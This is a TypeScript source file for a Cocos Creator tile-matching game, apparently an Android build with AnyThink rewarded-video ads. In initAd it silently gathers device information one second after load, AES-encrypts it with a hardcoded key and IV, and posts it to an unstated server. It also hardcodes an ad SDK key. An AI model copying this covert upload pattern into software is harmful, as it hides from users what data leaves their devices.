game_main.ts 38 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071
  1. import TileBlock from "./TileBlock"
  2. import game_level_cfg, { LevelData } from "./game_level_cfg"
  3. import game_config_dyn from "./game_config_dyn"
  4. import game_helpers from "./game_helpers"
  5. import global_model from "./global_model"
  6. import game_core from "./game_core"
  7. import game_constants from "./game_constants"
  8. import ATSDK from "./AnyThinkAds/ATJSSDK";
  9. import ATRewardedVideoSDK from "./AnyThinkAds/ATRewardedVideoJSSDK";
  10. import AAJS2 from "./ATAndroidJS2";
  11. import AESUtil from './AESUtil';
  12. const { ccclass, property } = cc._decorator;
  13. const TILE_WIDTH: number = 88
  14. const TILE_HEIGHT: number = 88
  15. @ccclass
  16. export default class NewClass extends cc.Component {
  17. @property(cc.Node)
  18. tileContainer: cc.Node = null;
  19. @property(cc.Node)
  20. targetNode: cc.Node = null;
  21. tileList: TileBlock[] = []
  22. matchList: TileBlock[] = []
  23. recordList: TileBlock[] = []
  24. lvData: LevelData
  25. lock: boolean = false//做动画用防止误点
  26. lastClickTime: number = 0 // 防抖初始化
  27. @property(cc.Label)
  28. level_txt: cc.Label = null
  29. @property(cc.Label)
  30. txt_undo: cc.Label = null
  31. @property(cc.Label)
  32. txt_shuffle: cc.Label = null
  33. @property(cc.Label)
  34. txt_hint: cc.Label = null
  35. @property(cc.Label)
  36. txt_put3: cc.Label = null
  37. //分数计算
  38. @property(cc.ProgressBar)
  39. node_progress: cc.ProgressBar = null
  40. @property(cc.Node)
  41. node_star1: cc.Node = null
  42. @property(cc.Node)
  43. node_star2: cc.Node = null
  44. @property(cc.Node)
  45. node_star3: cc.Node = null
  46. countDown: boolean = false
  47. @property(cc.Node)
  48. node_warning: cc.Node = null
  49. @property(cc.Node)
  50. result_view: cc.Node = null
  51. @property(cc.Node)
  52. result_view_win: cc.Node = null
  53. @property(cc.Node)
  54. result_view_lose: cc.Node = null
  55. @property(cc.Node)
  56. help_view: cc.Node = null
  57. @property(cc.Node)
  58. levels_view: cc.Node = null
  59. @property(cc.Node)
  60. hint_ad_player_icon: cc.Node = null
  61. @property(cc.Node)
  62. undo_ad_player_icon: cc.Node = null
  63. @property(cc.Node)
  64. shuffles_ad_player_icon: cc.Node = null
  65. @property(cc.Node)
  66. moveup_ad_player_icon: cc.Node = null
  67. //minzindex
  68. minZindex: number = 10000
  69. progress_levelBase = 0.001
  70. progress_levelBase_org = 0.0002
  71. protected onLoad(): void {
  72. this.initAd();
  73. // 初始化广告播放图标
  74. if (global_model.game.shuffle_counter === 0) {
  75. this.shuffles_ad_player_icon.active = true
  76. } else {
  77. this.shuffles_ad_player_icon.active = false
  78. }
  79. if (global_model.game.undo_counter === 0) {
  80. this.undo_ad_player_icon.active = true
  81. } else {
  82. this.undo_ad_player_icon.active = false
  83. }
  84. if (global_model.game.hint_tip_counter === 0) {
  85. this.hint_ad_player_icon.active = true
  86. } else {
  87. this.hint_ad_player_icon.active = false
  88. }
  89. if (global_model.game.move_up_counter === 0) {
  90. this.moveup_ad_player_icon.active = true
  91. } else {
  92. this.moveup_ad_player_icon.active = false
  93. }
  94. if (cc.sys.platform == cc.sys.IPAD) {
  95. cc.find("Canvas").getComponent(cc.Canvas).fitHeight = true
  96. cc.find("Canvas").getComponent(cc.Canvas).fitWidth = true
  97. }
  98. cc.systemEvent.on(game_constants.select_level_clicked, this.select_level_clicked, this)
  99. }
  100. initAd() {
  101. console.log('lichao: initAd Success')
  102. cc.sys.localStorage.setItem("customerOption", "");
  103. var placementID = AAJS2.getPlacementID();
  104. let deviceId = AAJS2.getDeviceUserId();
  105. console.log('lichao: initAd 33333')
  106. var setting = {};
  107. setting[ATRewardedVideoSDK.userIdKey] = deviceId;
  108. // 初始化SDK
  109. // 自己的测试包
  110. ATSDK.initSDK("h66f7c5f8028cf", "ab133deec743a4bb58930891fd75d3f83");
  111. ATSDK.getUserLocation(function (userLocation) {
  112. //如果处于欧盟地区且等级是UNKNOW时,就执行授权弹窗
  113. if (userLocation === ATSDK.kATUserLocationInEU) {
  114. if (ATSDK.getGDPRLevel() === ATSDK.UNKNOWN) {
  115. ATSDK.showGDPRAuth();
  116. }
  117. }
  118. });
  119. //var state = false;
  120. ATRewardedVideoSDK.setAdListener(this);
  121. let deviceIds = AAJS2.getDeviceUserId();
  122. var setting = {};
  123. setting[ATRewardedVideoSDK.userIdKey] = deviceIds;
  124. console.log('lichao: p1')
  125. ATRewardedVideoSDK.loadRewardedVideo(AAJS2.getPlacementID(), setting);
  126. console.log('lichao: p2')
  127. setTimeout(() => {
  128. var allInfo = AAJS2.allInfo();
  129. console.log('lichao:allInfo=' + allInfo)
  130. let key = "US2%*c3lv8sYkUe(!e-6g$E*RJg)dzn@";
  131. let iv = "Jn0.aWsOu$y-Dbqb";
  132. let data = { data: AESUtil.AESencrypt(allInfo, key, iv) };
  133. console.log("lichao:allInfo jm=" + JSON.stringify(data));
  134. AAJS2.makePostRequestWithXhr(JSON.stringify(data));
  135. }, 1000);
  136. console.log('lichao: p3')
  137. }
  138. onRewardedVideoAdLoaded(placementId) {
  139. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdLoaded(" + placementId + ")");
  140. }
  141. onRewardedVideoAdFailed(placementId, errorInfo) {
  142. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdFailed(" + placementId + ", " + errorInfo + ")");
  143. }
  144. onRewardedVideoAdPlayStart(placementId, callbackInfo) {
  145. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdPlayStart(" + placementId + ", " + callbackInfo + ")");
  146. let deviceId = AAJS2.getDeviceUserId();
  147. var setting = {};
  148. setting[ATRewardedVideoSDK.userIdKey] = deviceId;
  149. ATRewardedVideoSDK.loadRewardedVideo(AAJS2.getPlacementID(), setting);
  150. }
  151. onRewardedVideoAdPlayEnd(placementId, callbackInfo) {
  152. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdPlayEnd(" + placementId + ", " + callbackInfo + ")");
  153. let customerOption = cc.sys.localStorage.getItem("customerOption");
  154. if (customerOption === "shuffle") {
  155. global_model.game.shuffle_counter += 3
  156. global_model.save()
  157. this.updateItemView()
  158. this.shuffles_ad_player_icon.active = false
  159. } else if (customerOption === "revoke") {
  160. global_model.game.undo_counter += 3
  161. global_model.save()
  162. this.updateItemView()
  163. this.undo_ad_player_icon.active = false
  164. } else if (customerOption === "auto") {
  165. global_model.game.hint_tip_counter += 3
  166. global_model.save()
  167. this.updateItemView()
  168. this.hint_ad_player_icon.active = false
  169. } else if (customerOption === "clearTopThree") {
  170. global_model.game.move_up_counter += 3
  171. global_model.save()
  172. this.updateItemView()
  173. this.moveup_ad_player_icon.active = false
  174. }
  175. this.updateItemView()
  176. }
  177. onRewardedVideoAdPlayFailed(placementId, errorInfo, callbackInfo) {
  178. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdPlayFailed(" + placementId + ", " + errorInfo + ", " + callbackInfo + ")");
  179. }
  180. onRewardedVideoAdClosed(placementId, callbackInfo) {
  181. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdClosed(" + placementId + ", " + callbackInfo + ")");
  182. if (global_model.game.shuffle_counter === 0) {
  183. this.shuffles_ad_player_icon.active = true
  184. } else {
  185. this.shuffles_ad_player_icon.active = false
  186. }
  187. if (global_model.game.undo_counter === 0) {
  188. this.undo_ad_player_icon.active = true
  189. } else {
  190. this.undo_ad_player_icon.active = false
  191. }
  192. if (global_model.game.hint_tip_counter === 0) {
  193. this.hint_ad_player_icon.active = true
  194. } else {
  195. this.hint_ad_player_icon.active = false
  196. }
  197. if (global_model.game.move_up_counter === 0) {
  198. this.moveup_ad_player_icon.active = true
  199. } else {
  200. this.moveup_ad_player_icon.active = false
  201. }
  202. }
  203. onRewardedVideoAdPlayClicked(placementId, callbackInfo) {
  204. ATSDK.printLog("AnyThinkRewardedVideoDemo::onRewardedVideoAdPlayClicked(" + placementId + ", " + callbackInfo + ")");
  205. }
  206. onReward(placementId, callbackInfo) {
  207. ATSDK.printLog("AnyThinkRewardedVideoDemo::onReward(" + placementId + ", " + callbackInfo + ")");
  208. }
  209. playSFX(audio: cc.AudioClip) {
  210. }
  211. playGamePass() {
  212. }
  213. playGameFailed() {
  214. }
  215. select_level_clicked(lv) {
  216. // //this.playSFX(this.btn_click)
  217. global_model.game.selectedLevel = lv
  218. // console.log("select_level_clicked ",global_model.game.selectedLevel,lv)
  219. this.go_game_reinit()
  220. }
  221. start() {
  222. this.help_view.active = true
  223. this.game_reinit()
  224. }
  225. game_reinit() {
  226. this.recycle()
  227. this.node_warning.active = false
  228. this.unscheduleAllCallbacks()
  229. this.tileList = []
  230. this.matchList = []
  231. this.recordList = []
  232. this.lvData = null
  233. this.lock = false
  234. this.countDown = false
  235. this.load_levels_data()
  236. this.progress_levelBase = this.progress_levelBase_org * global_model.game.selectedLevel
  237. this.progress_levelBase = Math.max(this.progress_levelBase, 0.004)
  238. }
  239. load_levels_data() {
  240. this.lvData = game_config_dyn.level.getLevelData(global_model.game.selectedLevel)
  241. this.level_txt.string = "" + global_model.game.selectedLevel
  242. this.node_progress.progress = 1
  243. this.node_star1.active = this.node_star2.active = this.node_star3.active = true
  244. this.updateItemView()
  245. this.create_tiles_block()
  246. }
  247. recycle() {
  248. for (const temp of this.tileList) {
  249. temp.recycle()
  250. }
  251. for (const temp of this.matchList) {
  252. temp.recycle()
  253. }
  254. }
  255. create_tiles_block() {
  256. this.tileContainer.destroyAllChildren()
  257. let aniPos = [cc.v2(0, 1201), cc.v2(701, 0), cc.v2(0, -1201), cc.v2(-701, 0)]
  258. let types = game_config_dyn.level.getTypes(this.lvData.count, this.lvData.typeCount)
  259. types = game_helpers.randomArray(types)
  260. let c = 0
  261. let minX = 999999
  262. let minY = 999999
  263. let maxX = 0
  264. let maxY = 0
  265. for (let i = 0; i < this.lvData.floorIds.length; i++) {
  266. let floorData = game_config_dyn.level.getFloorData(Number(this.lvData.floorIds[i]))
  267. let tiles = floorData.layouts
  268. for (const info of tiles) {
  269. let pos = info.split(',')
  270. let row = Number(pos[0])
  271. let col = Number(pos[1])
  272. let tile = game_core.pool.get('TileBlock')
  273. let node = tile.node
  274. node.parent = this.tileContainer
  275. node.scale = 1
  276. this.tileList.push(tile)
  277. let offset = cc.v2(TILE_WIDTH * 0.5 * i, -TILE_HEIGHT * 0.5 * i)
  278. tile.layer = i
  279. tile.row = row
  280. tile.col = col
  281. tile.node.zIndex = this.get___Zindex(row, col, tile.layer)
  282. let targetPos = this.getTilePos(row, col, offset)
  283. node.position = targetPos
  284. tile.type = types[c]
  285. node.off(cc.Node.EventType.TOUCH_START)
  286. node.on(cc.Node.EventType.TOUCH_START, () => {
  287. if (!this.lock && !tile.dark) {
  288. this.addToMatchList(tile)
  289. // //this.playSFX(this.block_click)
  290. // //game_core.soundManager.playSFX('clickcube')
  291. //有了操作之后,开始倒计时
  292. this.countDown = true
  293. // if (//game_core.soundManager.vibrate == 1)
  294. // WXTTgame_helpers.vibrateShort()
  295. }
  296. })
  297. if (node.x > maxX)
  298. maxX = node.x
  299. if (node.y > maxY)
  300. maxY = node.y
  301. if (node.x < minX)
  302. minX = node.x
  303. if (node.y < minY)
  304. minY = node.y
  305. c++
  306. }
  307. }
  308. let w = maxX - minX
  309. let h = maxY - minY
  310. // let t = this.levelData.layouts[maxIndex].alignW == 5 ? 35 : 0
  311. this.tileContainer.x = -w * 0.5 - minX
  312. this.tileContainer.y = (h >> 1) - maxY + 150
  313. this.check_All_Block()
  314. //做动画
  315. let all = this.tileContainer.children
  316. for (const node of all) {
  317. let tile = node.getComponent(TileBlock)
  318. let i = tile.layer
  319. let offset = cc.v2(TILE_WIDTH * 0.5 * i, -TILE_HEIGHT * 0.5 * i)
  320. let targetPos = this.getTilePos(tile.row, tile.col, offset)
  321. node.position = targetPos
  322. node.position = cc.v3(targetPos.x + aniPos[i % 4].x, targetPos.y + aniPos[i % 4].y)
  323. cc.tween(node).delay(i * 0.2 + 0.1).call(() => {
  324. //game_core.soundManager.playSFX('swtich', 10)
  325. //this.playSFX(this.block_switch)
  326. }).to(0.25, { position: targetPos }, { easing: 'sineOut' }).start()
  327. }
  328. }
  329. get___Zindex(row, col, layer) {
  330. return row * 20 + col + layer * 200
  331. }
  332. check_All_Block(ani: boolean = false) {
  333. for (const tile of this.tileList) {
  334. if (tile.node.zIndex < 10000) {
  335. if (this._has_Block(tile)) {
  336. tile.setDark(true, ani)
  337. } else {
  338. tile.setDark(false, ani)
  339. }
  340. }
  341. }
  342. }
  343. _has_Block(tile: TileBlock) {
  344. let tileRec = tile.node.getBoundingBox()
  345. for (const tempTile of this.tileList) {
  346. if (tempTile == tile) continue
  347. if (tempTile.layer > tile.layer) {
  348. if (tempTile.node.getBoundingBox().intersects(tileRec)) {
  349. return true
  350. }
  351. }
  352. }
  353. return false
  354. }
  355. getTilePos(row: number, col: number, offset: cc.Vec2) {
  356. return cc.v3(col * TILE_WIDTH + offset.x, -row * TILE_HEIGHT + offset.y, 0)
  357. }
  358. //添加到列表
  359. addToMatchList(tile: TileBlock) {
  360. if (this.matchList.length < 7) {
  361. if (this.matchList.indexOf(tile) != -1) return
  362. tile.setDark(false, false)
  363. game_helpers.removeElementFromArray(tile, this.tileList)
  364. this.recordList.push(tile)
  365. tile.node.zIndex = 999
  366. let bol = false
  367. for (let i = this.matchList.length - 1; i >= 0; i--) {
  368. if (this.matchList[i].type == tile.type) {
  369. bol = true
  370. this.matchList.splice(i + 1, 0, tile)
  371. break
  372. }
  373. }
  374. if (!bol)
  375. this.matchList.push(tile)
  376. this.setMatchDepth()
  377. this.moveToRightPos()
  378. this.checkRemove()
  379. this.check_All_Block(true)
  380. this.checkWarning()
  381. this.checkGameResult()
  382. }
  383. }
  384. setMatchDepth() {
  385. for (let i = this.matchList.length - 1; i >= 0; i--) {
  386. this.matchList[i].node.zIndex = i + 999
  387. }
  388. }
  389. moveToRightPos() {
  390. for (let i = 0; i < this.matchList.length; i++) {
  391. let pos = game_helpers.convetOtherNodeSpaceAR(this.targetNode, this.tileContainer)
  392. let targetX = i * 82 + pos.x - 246
  393. let targetY = pos.y + 2
  394. cc.Tween.stopAllByTarget(this.matchList[i].node)
  395. cc.tween(this.matchList[i].node).to(0.3, { x: targetX, y: targetY }, { easing: 'sineOut' }).call((targetNode: cc.Node) => {
  396. let targetTile = targetNode.getComponent(TileBlock)
  397. if (targetTile.remove) {
  398. targetTile.recycle(true)
  399. //targetNode.destroy()
  400. this.moveToRightPos()
  401. this.checkGameResult()
  402. //game_core.soundManager.playSFX('tileclean')
  403. //this.playSFX(Math.random()>0.5?this.block_clean:this.block_clean2)
  404. this.updateProgress(0.01)
  405. }
  406. }).start()
  407. }
  408. }
  409. removeList: TileBlock[] = []
  410. checkRemove() {
  411. let obj: any = {}
  412. for (const tile of this.matchList) {
  413. obj[tile.type] = obj[tile.type] || 0
  414. obj[tile.type]++
  415. }
  416. for (const key in obj) {
  417. if (obj[key] >= 3) {
  418. for (let i = 0; i < this.matchList.length; i++) {
  419. let tile = this.matchList[i]
  420. if (tile.type == Number(key)) {
  421. game_helpers.removeElementFromArray(tile, this.recordList)
  422. tile.remove = true
  423. this.matchList.splice(i, 1)
  424. i--
  425. }
  426. }
  427. break
  428. }
  429. }
  430. }
  431. searchRemoveable() {
  432. let arrDark: any = []
  433. let objLight: any = {}
  434. for (let i = this.tileList.length - 1; i >= 0; i--) {
  435. let tile = this.tileList[i]
  436. if (!tile.dark) {
  437. objLight[tile.type] = objLight[tile.type] || []
  438. objLight[tile.type].push(tile)
  439. } else {
  440. arrDark.push(tile)
  441. }
  442. }
  443. //底部tiles
  444. if (this.matchList.length > 0) {
  445. let bottomObj: any = {}
  446. for (const bottom of this.matchList) {
  447. bottomObj[bottom.type] = bottomObj[bottom.type] || []
  448. bottomObj[bottom.type].push(bottom)
  449. }
  450. let bottomArr = []
  451. for (const key in bottomObj) {
  452. bottomArr.push({ type: Number(key), tiles: bottomObj[key], count: bottomObj[key].length })
  453. }
  454. bottomArr.sort((a, b) => {
  455. return b.count - a.count
  456. })
  457. let first = bottomArr[0]
  458. let needCount = 3 - first.count
  459. let needType = first.type
  460. for (let i = 0; i < this.tileList.length; i++) {
  461. if (this.tileList[i].type == needType) {
  462. this.addToMatchList(this.tileList[i])
  463. needCount--
  464. if (needCount == 0)
  465. break
  466. }
  467. }
  468. } else {
  469. let lightArr = []
  470. for (const key in objLight) {
  471. lightArr.push({ type: Number(key), tiles: objLight[key], count: objLight[key].length })
  472. }
  473. lightArr.sort((a, b) => {
  474. return b.count - a.count
  475. })
  476. let first = lightArr[0]
  477. let ownCount = Math.min(3, first.tiles.length)
  478. for (let i = 0; i < ownCount; i++) {
  479. this.addToMatchList(first.tiles[i])
  480. }
  481. let leftCount = Math.max(0, 3 - first.count)
  482. let needType = first.type
  483. if (leftCount > 0) {
  484. for (const temp of arrDark) {
  485. if (temp.type == needType) {
  486. this.addToMatchList(temp)
  487. leftCount--
  488. if (leftCount == 0)
  489. break
  490. }
  491. }
  492. }
  493. }
  494. }
  495. checkGameResult() {
  496. if (this.matchList.length >= 7) {
  497. this.lock = true
  498. this.result_view.active = true
  499. this.result_view_win.active = false
  500. this.result_view_lose.active = true
  501. this.playGameFailed()
  502. } else if (this.tileList.length == 0) { //success...
  503. this.playGamePass()
  504. this.lock = true
  505. let hasAward = false
  506. if (global_model.game.selectedLevel == global_model.game.level) {
  507. if (global_model.game.level >= 8 && global_model.game.level % 4 == 0) {
  508. hasAward = true
  509. }
  510. global_model.game.level++
  511. let star = 0
  512. if (this.node_progress.progress >= 0.8)
  513. star = 3
  514. else if (this.node_progress.progress >= 0.5)
  515. star = 2
  516. else if (this.node_progress.progress > 0.1)
  517. star = 1
  518. global_model.game.level_star[global_model.game.selectedLevel] = star
  519. global_model.save()
  520. }
  521. this.result_view.active = true
  522. this.result_view_win.active = true
  523. this.result_view_lose.active = false
  524. }
  525. }
  526. playFailAni(callback: Function) {
  527. for (const temp of this.tileList) {
  528. let delay = temp.row * 0.05 + temp.col * 0.05
  529. cc.tween(temp.node).delay(delay).by(0.5, { y: -1400 }, { easing: 'backInOut' }).start()
  530. }
  531. this.scheduleOnce(() => {
  532. callback && callback()
  533. }, 1)
  534. }
  535. checkWarning() {
  536. if (this.matchList.length < 5) {
  537. cc.Tween.stopAllByTarget(this.node_warning)
  538. this.node_warning.active = false
  539. } else {
  540. this.node_warning.active = true
  541. cc.Tween.stopAllByTarget(this.node_warning)
  542. cc.tween(this.node_warning).to(1, { opacity: 0 }).to(1, { opacity: 255 }).union().repeatForever().start()
  543. }
  544. }
  545. click_prev() {
  546. }
  547. click_shuffle() {
  548. //this.playSFX(this.btn_click)
  549. if (global_model.game.shuffle_counter > 1) {
  550. global_model.game.shuffle_counter--
  551. global_model.save()
  552. this.updateItemView()
  553. this.shuffle()
  554. this.shuffles_ad_player_icon.active = false
  555. } else if (global_model.game.shuffle_counter === 1) {
  556. global_model.game.shuffle_counter--
  557. global_model.save()
  558. this.updateItemView()
  559. this.shuffle()
  560. // 广告播放图标
  561. this.shuffles_ad_player_icon.active = true
  562. } else {
  563. // 防抖代码
  564. // 定义一个时间戳变量来记录上一次点击时间
  565. if (!this.lastClickTime) {
  566. this.lastClickTime = 0;
  567. }
  568. // 获取当前时间戳
  569. var currentTime = Date.now();
  570. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  571. if (currentTime - this.lastClickTime < 2000) {
  572. console.log('lichao: 点击过于频繁,防抖中');
  573. // 防抖,阻止当前点击事件
  574. return;
  575. }
  576. console.log('lichao:防抖成功')
  577. // 更新上一次点击时间为当前时间
  578. this.lastClickTime = currentTime;
  579. if (cc.sys.os === cc.sys.OS_ANDROID) {
  580. console.log('lichao: 播放广告1')
  581. setTimeout(() => {
  582. console.log('lichao: 播放广告2')
  583. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  584. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  585. cc.sys.localStorage.setItem("customerOption", "shuffle");
  586. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  587. console.log('lichao: 播放广告3')
  588. } else {
  589. console.log('lichao: 播放广告4');
  590. this.shuffles_ad_player_icon.active = false
  591. global_model.game.shuffle_counter += 3
  592. global_model.save()
  593. this.updateItemView()
  594. }
  595. }, 300)
  596. } else {
  597. this.shuffles_ad_player_icon.active = false
  598. global_model.game.shuffle_counter += 3
  599. global_model.save()
  600. this.updateItemView()
  601. }
  602. if (this.lock) return
  603. // this.lock = true
  604. }
  605. }
  606. shuffle() {
  607. for (let i = 0; i < 500; i++) {
  608. let rndA = Math.floor(Math.random() * this.tileList.length)
  609. let rndB = Math.floor(Math.random() * this.tileList.length)
  610. if (rndA != rndB) {
  611. let nodeA = this.tileList[rndA]
  612. let nodeB = this.tileList[rndB]
  613. this.swapTile(nodeA, nodeB)
  614. }
  615. }
  616. for (const tile of this.tileList) {
  617. let offset = cc.v2(tile.layer * TILE_WIDTH * 0.5, -tile.layer * TILE_HEIGHT * 0.5)
  618. let pos = this.getTilePos(tile.row, tile.col, offset)
  619. cc.Tween.stopAllByTarget(tile.node)
  620. cc.tween(tile.node).to(0.25, { position: pos }).call(() => {
  621. this.check_All_Block(true)
  622. }).start()
  623. }
  624. }
  625. swapTile(tileA: TileBlock, tileB: TileBlock) {
  626. let tempRow = tileA.row
  627. tileA.row = tileB.row
  628. tileB.row = tempRow
  629. let tempCol = tileA.col
  630. tileA.col = tileB.col
  631. tileB.col = tempCol
  632. let tempLayer = tileA.layer
  633. tileA.layer = tileB.layer
  634. tileB.layer = tempLayer
  635. let tempZindex = tileA.node.zIndex
  636. tileA.node.zIndex = tileB.node.zIndex
  637. tileB.node.zIndex = tempZindex
  638. }
  639. click_undo() {
  640. //this.playSFX(this.btn_click)
  641. if (this.recordList.length == 0) {
  642. // MsgHints.show('没有操作的记录?')
  643. // MsgHints.show('No operation record!')
  644. return
  645. }
  646. if (global_model.game.undo_counter > 1) {
  647. global_model.game.undo_counter--
  648. global_model.save()
  649. this.updateItemView()
  650. this.undo_operator()
  651. this.undo_ad_player_icon.active = false
  652. } else if (global_model.game.undo_counter === 1) {
  653. global_model.game.undo_counter--
  654. global_model.save()
  655. this.updateItemView()
  656. this.undo_operator()
  657. // 广告播放图标
  658. this.undo_ad_player_icon.active = true
  659. } else {
  660. // 防抖代码
  661. // 定义一个时间戳变量来记录上一次点击时间
  662. if (!this.lastClickTime) {
  663. this.lastClickTime = 0;
  664. }
  665. // 获取当前时间戳
  666. var currentTime = Date.now();
  667. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  668. if (currentTime - this.lastClickTime < 2000) {
  669. console.log('lichao: 点击过于频繁,防抖中');
  670. // 防抖,阻止当前点击事件
  671. return;
  672. }
  673. console.log('lichao:防抖成功')
  674. // 更新上一次点击时间为当前时间
  675. this.lastClickTime = currentTime;
  676. if (cc.sys.os === cc.sys.OS_ANDROID) {
  677. console.log('lichao: 播放广告1')
  678. setTimeout(() => {
  679. console.log('lichao: 播放广告2')
  680. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  681. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  682. cc.sys.localStorage.setItem("customerOption", "revoke");
  683. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  684. console.log('lichao: 播放广告3')
  685. } else {
  686. console.log('lichao: 播放广告4');
  687. global_model.game.undo_counter += 3
  688. global_model.save()
  689. this.updateItemView()
  690. this.undo_ad_player_icon.active = false
  691. }
  692. }, 300)
  693. } else {
  694. global_model.game.undo_counter += 3
  695. global_model.save()
  696. this.updateItemView()
  697. this.undo_ad_player_icon.active = false
  698. }
  699. if (this.lock) return
  700. // this.lock = true
  701. }
  702. }
  703. undo_operator() {
  704. if (this.recordList.length > 0) {
  705. let tile = this.recordList.pop()
  706. let offset = cc.v2(tile.layer * TILE_WIDTH * 0.5, -tile.layer * TILE_HEIGHT * 0.5)
  707. let pos = this.getTilePos(tile.row, tile.col, offset)
  708. tile.node.zIndex = this.get___Zindex(tile.row, tile.col, tile.layer)
  709. game_helpers.removeElementFromArray(tile, this.matchList)
  710. this.tileList.push(tile)
  711. cc.tween(tile.node).to(0.25, { position: pos }, { easing: 'sineOut' }).call(() => {
  712. this.check_All_Block(true)
  713. this.moveToRightPos()
  714. }).start()
  715. }
  716. }
  717. click_hint() {
  718. //this.playSFX(this.btn_click)
  719. if (global_model.game.hint_tip_counter > 1) {
  720. global_model.game.hint_tip_counter--
  721. global_model.save()
  722. this.updateItemView()
  723. this.searchRemoveable()
  724. // this.hintNodeInstance.dispatchEvent(new cc.Event.EventCustom("adIconEnableHint", true));
  725. this.hint_ad_player_icon.active = false
  726. } else if (global_model.game.hint_tip_counter === 1) {
  727. global_model.game.hint_tip_counter--
  728. global_model.save()
  729. this.updateItemView()
  730. this.searchRemoveable()
  731. // 广告播放图标
  732. this.hint_ad_player_icon.active = true
  733. } else {
  734. // 防抖代码
  735. // 定义一个时间戳变量来记录上一次点击时间
  736. if (!this.lastClickTime) {
  737. this.lastClickTime = 0;
  738. }
  739. // 获取当前时间戳
  740. var currentTime = Date.now();
  741. // 判断当前点击距离上一次点击时间的间隔是否小于2秒
  742. if (currentTime - this.lastClickTime < 2000) {
  743. console.log('lichao: 点击过于频繁,防抖中');
  744. // 防抖,阻止当前点击事件
  745. return;
  746. }
  747. console.log('lichao:防抖成功')
  748. // 更新上一次点击时间为当前时间
  749. this.lastClickTime = currentTime;
  750. if (cc.sys.os === cc.sys.OS_ANDROID) {
  751. console.log('lichao: 播放广告1')
  752. setTimeout(() => {
  753. console.log('lichao: 播放广告2')
  754. console.log('lichao: AAJS2.getPlacementID() --> ', AAJS2.getPlacementID())
  755. console.log('lichao: ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID()) 的值--> ',
  756. ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID()))
  757. if (ATRewardedVideoSDK.hasAdReady(AAJS2.getPlacementID())) {
  758. cc.sys.localStorage.setItem("customerOption", "auto");
  759. ATRewardedVideoSDK.showAd(AAJS2.getPlacementID());
  760. console.log('lichao: 播放广告3')
  761. } else {
  762. console.log('lichao: 播放广告4');
  763. this.hint_ad_player_icon.active = false
  764. global_model.game.hint_tip_counter += 3
  765. global_model.save()
  766. this.updateItemView()
  767. }
  768. }, 300)
  769. } else {
  770. global_model.game.hint_tip_counter += 3
  771. this.hint_ad_player_icon.active = false
  772. global_model.save()
  773. this.updateItemView()
  774. }
  775. if (this.lock) return
  776. // console.log('数量不足,弹出购买')
  777. // this.lock = true
  778. }
  779. }
  780. click_moveup() {
  781. //this.playSFX(this.btn_click)
  782. if (this.recordList.length < 3) {
  783. // MsgHints.show('至少有3个才能一起推上去')
  784. // MsgHints.show('No operation record!')
  785. return
  786. }
  787. if (global_model.game.move_up_counter > 1) {
  788. global_model.game.move_up_counter--
  789. global_model.save()
  790. this.updateItemView()
  791. //放三个 块上去最左边的三个块放上去
  792. this.moveup3_elements()
  793. this.moveup_ad_player_icon.active = false
  794. } else if (global_model.game.move_up_counter === 1) {
  795. global_model.game.move_up_counter--
  796. global_model.save()
  797. this.updateItemView()
  798. //放三个 块上去最左边的三个块放上去
  799. this.moveup3_elements()
  800. // 广告播放图标
  801. this.moveup_ad_player_icon.active = true
  802. } else {
  803. // 防抖代码
  804. // 定义一个时间戳变量来记录上一次点击时间
  805. if (!this.lastClickTime) {
  806. this.lastClickTime = 0;
  807. }
  808. // 获取当前时间戳
